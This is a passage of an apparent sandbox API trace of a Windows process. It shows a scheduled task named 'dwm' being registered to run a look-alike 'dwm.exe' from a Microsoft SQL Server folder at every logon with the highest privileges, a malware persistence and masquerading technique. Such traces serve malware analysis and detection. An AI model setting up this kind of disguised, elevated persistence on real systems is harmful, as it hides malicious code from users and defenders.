_BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.126] lstrlenW (lpString="|z|") returned 3 [0106.126] lstrlenW (lpString="|f|") returned 3 [0106.126] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0106.126] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.126] lstrlenW (lpString="f") returned 1 [0106.126] lstrlenW (lpString="f") returned 1 [0106.126] _memicmp (_Buf1=0x1f4ae8c4370, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.126] lstrlenW (lpString="f") returned 1 [0106.126] _memicmp (_Buf1=0x1f4ae8c43b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.126] _vsnwprintf (in: _Buffer=0x1f4ae8c46e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.126] _vsnwprintf (in: _Buffer=0x1f4ae8c43d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x90ce2cc1f8 | out: _Buffer="|f|") returned 3 [0106.126] lstrlenW (lpString="|f|") returned 3 [0106.126] lstrlenW (lpString="|f|") returned 3 [0106.126] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0106.126] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.126] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.126] GetProcessHeap () returned 0x1f4ae8c0000 [0106.126] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cba30 [0106.126] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.127] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0106.127] lstrlenW (lpString="LIMITED") returned 7 [0106.127] GetProcessHeap () returned 0x1f4ae8c0000 [0106.127] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x10) returned 0x1f4ae8caa80 [0106.127] GetThreadLocale () returned 0x409 [0106.127] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0106.127] GetProcessHeap () returned 0x1f4ae8c0000 [0106.127] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb790 [0106.127] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.127] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0106.127] lstrlenW (lpString="HIGHEST") returned 7 [0106.127] GetProcessHeap () returned 0x1f4ae8c0000 [0106.127] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x10) returned 0x1f4ae8caa40 [0106.127] GetThreadLocale () returned 0x409 [0106.127] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0106.127] GetProcessHeap () returned 0x1f4ae8c0000 [0106.127] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cba60 [0106.127] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.127] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0106.127] lstrlenW (lpString="MINUTE") returned 6 [0106.127] GetProcessHeap () returned 0x1f4ae8c0000 [0106.127] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xe) returned 0x1f4ae8ca900 [0106.127] GetThreadLocale () returned 0x409 [0106.127] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0106.127] GetProcessHeap () returned 0x1f4ae8c0000 [0106.127] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb670 [0106.128] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.128] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0106.128] lstrlenW (lpString="HOURLY") returned 6 [0106.128] GetProcessHeap () returned 0x1f4ae8c0000 [0106.128] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xe) returned 0x1f4ae8cac60 [0106.128] GetThreadLocale () returned 0x409 [0106.128] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0106.128] GetProcessHeap () returned 0x1f4ae8c0000 [0106.128] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb430 [0106.128] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.128] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0106.128] lstrlenW (lpString="DAILY") returned 5 [0106.128] GetProcessHeap () returned 0x1f4ae8c0000 [0106.128] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xc) returned 0x1f4ae8caac0 [0106.128] GetThreadLocale () returned 0x409 [0106.128] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0106.128] GetProcessHeap () returned 0x1f4ae8c0000 [0106.128] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb520 [0106.128] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.128] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0106.128] lstrlenW (lpString="WEEKLY") returned 6 [0106.128] GetProcessHeap () returned 0x1f4ae8c0000 [0106.128] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xe) returned 0x1f4ae8cab80 [0106.128] GetThreadLocale () returned 0x409 [0106.128] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0106.128] GetProcessHeap () returned 0x1f4ae8c0000 [0106.128] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x20) returned 0x1f4ae8cb4c0 [0106.128] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.129] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0106.129] lstrlenW (lpString="MONTHLY") returned 7 [0106.129] GetProcessHeap () returned 0x1f4ae8c0000 [0106.129] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x10) returned 0x1f4ae8caa00 [0106.129] GetThreadLocale () returned 0x409 [0106.129] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0106.129] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.129] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0106.129] lstrlenW (lpString="ONCE") returned 4 [0106.129] GetProcessHeap () returned 0x1f4ae8c0000 [0106.129] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xa) returned 0x1f4ae8caaa0 [0106.129] GetThreadLocale () returned 0x409 [0106.129] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0106.129] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.129] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0106.129] lstrlenW (lpString="ONSTART") returned 7 [0106.129] GetThreadLocale () returned 0x409 [0106.129] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0106.129] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.129] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0106.129] lstrlenW (lpString="ONLOGON") returned 7 [0106.129] GetThreadLocale () returned 0x409 [0106.129] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0106.129] RtlRestoreLastWin32Error () returned 0x90ce483000 [0106.130] GetProcessHeap () returned 0x1f4ae8c0000 [0106.130] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x1fc) returned 0x1f4ae8caca0 [0106.130] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.130] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0106.130] lstrlenW (lpString="First") returned 5 [0106.130] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.130] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0106.130] lstrlenW (lpString="Second") returned 6 [0106.130] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.130] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0106.130] lstrlenW (lpString="Third") returned 5 [0106.130] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.130] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0106.130] lstrlenW (lpString="Fourth") returned 6 [0106.130] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.130] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0106.130] lstrlenW (lpString="Last") returned 4 [0106.130] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.130] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0106.130] lstrlenW (lpString="First") returned 5 [0106.130] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.130] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0106.130] lstrlenW (lpString="Second") returned 6 [0106.130] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.131] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0106.131] lstrlenW (lpString="Third") returned 5 [0106.131] GetProcessHeap () returned 0x1f4ae8c0000 [0106.131] GetProcessHeap () returned 0x1f4ae8c0000 [0106.131] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8caaa0) returned 1 [0106.131] GetProcessHeap () returned 0x1f4ae8c0000 [0106.131] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8caaa0) returned 0xa [0106.131] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8caaa0) returned 1 [0106.131] GetProcessHeap () returned 0x1f4ae8c0000 [0106.131] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0xc) returned 0x1f4ae8caa20 [0106.131] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.131] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0106.131] lstrlenW (lpString="Fourth") returned 6 [0106.131] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.131] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0106.131] lstrlenW (lpString="Last") returned 4 [0106.131] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x90ce2cc050, cchData=128 | out: lpLCData="0") returned 2 [0106.131] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.131] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0106.132] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0106.132] GetProcessHeap () returned 0x1f4ae8c0000 [0106.132] GetProcessHeap () returned 0x1f4ae8c0000 [0106.132] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8caa80) returned 1 [0106.132] GetProcessHeap () returned 0x1f4ae8c0000 [0106.132] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8caa80) returned 0x10 [0106.132] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8caa80) returned 1 [0106.132] GetProcessHeap () returned 0x1f4ae8c0000 [0106.132] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x16) returned 0x1f4ae8ca960 [0106.132] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x90ce2cc070, cchData=128 | out: lpLCData="0") returned 2 [0106.132] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.132] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0106.132] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0106.132] GetProcessHeap () returned 0x1f4ae8c0000 [0106.132] GetProcessHeap () returned 0x1f4ae8c0000 [0106.132] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, lpMem=0x1f4ae8caa40) returned 1 [0106.132] GetProcessHeap () returned 0x1f4ae8c0000 [0106.132] RtlSizeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, MemoryPointer=0x1f4ae8caa40) returned 0x10 [0106.132] RtlFreeHeap (HeapHandle=0x1f4ae8c0000, Flags=0x0, BaseAddress=0x1f4ae8caa40) returned 1 [0106.132] GetProcessHeap () returned 0x1f4ae8c0000 [0106.132] RtlAllocateHeap (HeapHandle=0x1f4ae8c0000, Flags=0xc, Size=0x16) returned 0x1f4ae8ca920 [0106.132] GetLocalTime (in: lpSystemTime=0x90ce2cc2a8 | out: lpSystemTime=0x90ce2cc2a8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1d, wMilliseconds=0x1f6)) [0106.133] GetLocalTime (in: lpSystemTime=0x90ce2ccc98 | out: lpSystemTime=0x90ce2ccc98*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1d, wMilliseconds=0x1f6)) [0106.133] lstrlenW (lpString="") returned 0 [0106.133] lstrlenW (lpString="") returned 0 [0106.133] lstrlenW (lpString="") returned 0 [0106.133] lstrlenW (lpString="") returned 0 [0106.133] lstrlenW (lpString="") returned 0 [0106.133] lstrlenW (lpString="") returned 0 [0106.133] lstrlenW (lpString="") returned 0 [0106.133] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.144] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0106.221] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x90ce2cc9f0 | out: ppv=0x90ce2cc9f0*=0x1f4aec75710) returned 0x0 [0106.247] TaskScheduler:ITaskService:Connect (This=0x1f4aec75710, serverName=0x90ce2ccae0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x90ce2ccab0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x90ce2cca90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x90ce2cca70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0106.501] TaskScheduler:ITaskService:GetFolder (in: This=0x1f4aec75710, Path=0x0, ppFolder=0x90ce2ccbd0 | out: ppFolder=0x90ce2ccbd0*=0x1f4aec75890) returned 0x0 [0106.504] TaskScheduler:ITaskService:NewTask (in: This=0x1f4aec75710, flags=0x0, ppDefinition=0x90ce2ccba8 | out: ppDefinition=0x90ce2ccba8*=0x1f4aec75910) returned 0x0 [0106.504] ITaskDefinition:get_Actions (in: This=0x1f4aec75910, ppActions=0x90ce2ccaf0 | out: ppActions=0x90ce2ccaf0*=0x1f4aec759a0) returned 0x0 [0106.504] IActionCollection:Create (in: This=0x1f4aec759a0, Type=0, ppAction=0x90ce2ccb30 | out: ppAction=0x90ce2ccb30*=0x1f4aec75db0) returned 0x0 [0106.505] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.505] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0106.505] lstrlenW (lpString=" ") returned 1 [0106.505] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0106.505] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0106.505] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x4d) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0106.506] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x51) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x4c) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0106.506] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0106.506] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x30) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0106.507] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0106.508] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0106.508] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0106.508] IUnknown:Release (This=0x1f4aec75db0) returned 0x1 [0106.508] IUnknown:Release (This=0x1f4aec759a0) returned 0x1 [0106.508] ITaskDefinition:get_Triggers (in: This=0x1f4aec75910, ppTriggers=0x90ce2cc6a0 | out: ppTriggers=0x90ce2cc6a0*=0x1f4aec75c60) returned 0x0 [0106.508] ITriggerCollection:Create (in: This=0x1f4aec75c60, Type=9, ppTrigger=0x90ce2cc688 | out: ppTrigger=0x90ce2cc688*=0x1f4aec75e20) returned 0x0 [0106.509] IUnknown:QueryInterface (in: This=0x1f4aec75e20, riid=0x7ff685138a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x90ce2cc680 | out: ppvObject=0x90ce2cc680*=0x1f4aec75e20) returned 0x0 [0106.509] IUnknown:Release (This=0x1f4aec75e20) returned 0x2 [0106.509] _vsnwprintf (in: _Buffer=0x90ce2cc5d0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x90ce2cc5a8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0106.509] ITrigger:put_StartBoundary (This=0x1f4aec75e20, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0106.510] lstrlenW (lpString="") returned 0 [0106.510] lstrlenW (lpString="") returned 0 [0106.510] lstrlenW (lpString="") returned 0 [0106.510] lstrlenW (lpString="") returned 0 [0106.510] IUnknown:Release (This=0x1f4aec75e20) returned 0x1 [0106.510] IUnknown:Release (This=0x1f4aec75c60) returned 0x1 [0106.510] ITaskDefinition:get_Settings (in: This=0x1f4aec75910, ppSettings=0x90ce2ccb30 | out: ppSettings=0x90ce2ccb30*=0x1f4aec75ae0) returned 0x0 [0106.510] lstrlenW (lpString="") returned 0 [0106.510] IUnknown:Release (This=0x1f4aec75ae0) returned 0x3 [0106.510] GetLocalTime (in: lpSystemTime=0x90ce2cc9e8 | out: lpSystemTime=0x90ce2cc9e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1d, wMilliseconds=0x36e)) [0106.510] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0106.511] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x90ce2cca00, nSize=0x90ce2cc9d8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x90ce2cc9d8) returned 0x1 [0106.518] ITaskDefinition:get_RegistrationInfo (in: This=0x1f4aec75910, ppRegistrationInfo=0x90ce2cc9d0 | out: ppRegistrationInfo=0x90ce2cc9d0*=0x1f4aec75a20) returned 0x0 [0106.518] IRegistrationInfo:put_Author (This=0x1f4aec75a20, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0106.518] _vsnwprintf (in: _Buffer=0x90ce2cca00, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x90ce2cc998 | out: _Buffer="2023-09-19T17:15:29") returned 19 [0106.518] IRegistrationInfo:put_Date (This=0x1f4aec75a20, Date="2023-09-19T17:15:29") returned 0x0 [0106.518] IUnknown:Release (This=0x1f4aec75a20) returned 0x1 [0106.519] malloc (_Size=0x18) returned 0x1f4aec75f40 [0106.519] free (_Block=0x1f4aec75f40) [0106.519] lstrlenW (lpString="") returned 0 [0106.519] ITaskDefinition:get_Principal (in: This=0x1f4aec75910, ppPrincipal=0x90ce2ccb98 | out: ppPrincipal=0x90ce2ccb98*=0x1f4aec75cd0) returned 0x0 [0106.519] IPrincipal:put_RunLevel (This=0x1f4aec75cd0, RunLevel=1) returned 0x0 [0106.519] IUnknown:Release (This=0x1f4aec75cd0) returned 0x1 [0106.519] malloc (_Size=0x18) returned 0x1f4aec75f40 [0106.520] ITaskFolder:RegisterTaskDefinition (in: This=0x1f4aec75890, Path="dwm", pDefinition=0x1f4aec75910, flags=6, UserId=0x90ce2ccc40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x90ce2ccc20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x90ce2ccc60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x90ce2ccc00 | out: ppTask=0x90ce2ccc00*=0x1f4aec76fd0) returned 0x0 [0106.833] free (_Block=0x1f4aec75f40) [0106.833] _memicmp (_Buf1=0x1f4ae8c4c90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0106.833] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1f4ae8cbb60, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0106.833] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0106.833] GetProcessHeap () returned 0x1f4ae8c0000 [0106.833] GetProcessHeap () returned 0x1f4ae8c0000 [0106.833] HeapValidate (hHeap=0x1f4ae8c0000, dwFlags=0x0, 